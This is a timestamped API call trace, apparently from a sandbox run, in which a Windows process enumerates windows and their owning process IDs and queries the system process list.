[0253.872] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0253.872] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0253.872] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0253.872] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0253.873] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0253.873] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0253.873] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0253.873] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0253.873] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0253.873] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0253.873] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0253.874] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0253.874] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0253.874] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0253.874] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0253.874] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0253.874] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0253.875] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0253.875] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0253.875] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0253.875] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0253.875] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0253.875] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0253.876] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0253.876] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0253.876] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.876] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0253.876] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.876] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0253.876] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.877] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0253.877] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.877] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.877] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0253.877] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.877] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.877] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.878] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.878] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0253.878] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0253.878] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.878] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0253.878] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.878] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0253.879] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0253.879] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0253.879] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0253.879] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0253.879] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0253.879] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0253.879] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0253.880] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0253.880] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0253.880] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0253.880] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0253.880] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0253.880] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0253.880] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0253.881] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0253.881] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0253.881] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0253.881] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0253.881] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0253.881] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0253.881] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0253.881] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0253.882] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0253.882] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0253.882] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0253.882] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0253.882] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0253.882] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0253.924] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0253.924] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0253.924] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0253.925] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0253.925] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0253.925] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0253.925] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0253.925] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0253.925] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0253.925] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0253.926] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0253.927] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0253.928] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0253.928] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0253.928] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0253.928] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0253.928] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0253.928] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0253.928] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0253.928] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0253.929] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0253.929] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0253.929] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0253.929] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0253.929] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0253.929] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0253.930] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0253.930] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0253.930] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0253.930] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0253.930] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0253.930] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0253.930] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0253.931] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.931] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0253.931] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0253.931] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0253.931] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0253.933] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0253.982] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0257.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12ff8) returned 0x0
[0257.201] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12ff8) returned 0x0
[0257.207] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x12ff8) returned 0x0
[0257.210] ResetEvent (hEvent=0x100) returned 1
[0257.393] EnumWindows (lpEnumFunc=0x1b1a2a5c, lParam=0x0) returned 1
[0257.393] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0257.394] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.394] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.394] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.394] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.394] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0257.394] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.394] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0257.394] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0257.395] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.395] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0257.396] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.396] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.396] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0257.396] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0257.396] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0257.396] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0257.396] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0257.396] IsWindowVisible (hWnd=0x102de) returned 0
[0257.396] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0257.396] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0257.396] IsWindowVisible (hWnd=0x102dc) returned 0
[0257.396] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0257.397] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0257.397] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0257.397] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0257.397] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.397] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.397] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.397] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.397] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.398] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.398] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.398] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0257.398] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0257.398] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0257.398] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0257.398] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0257.398] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0257.398] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0257.398] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0257.399] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0257.399] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0257.399] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0257.399] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0257.399] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0257.399] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
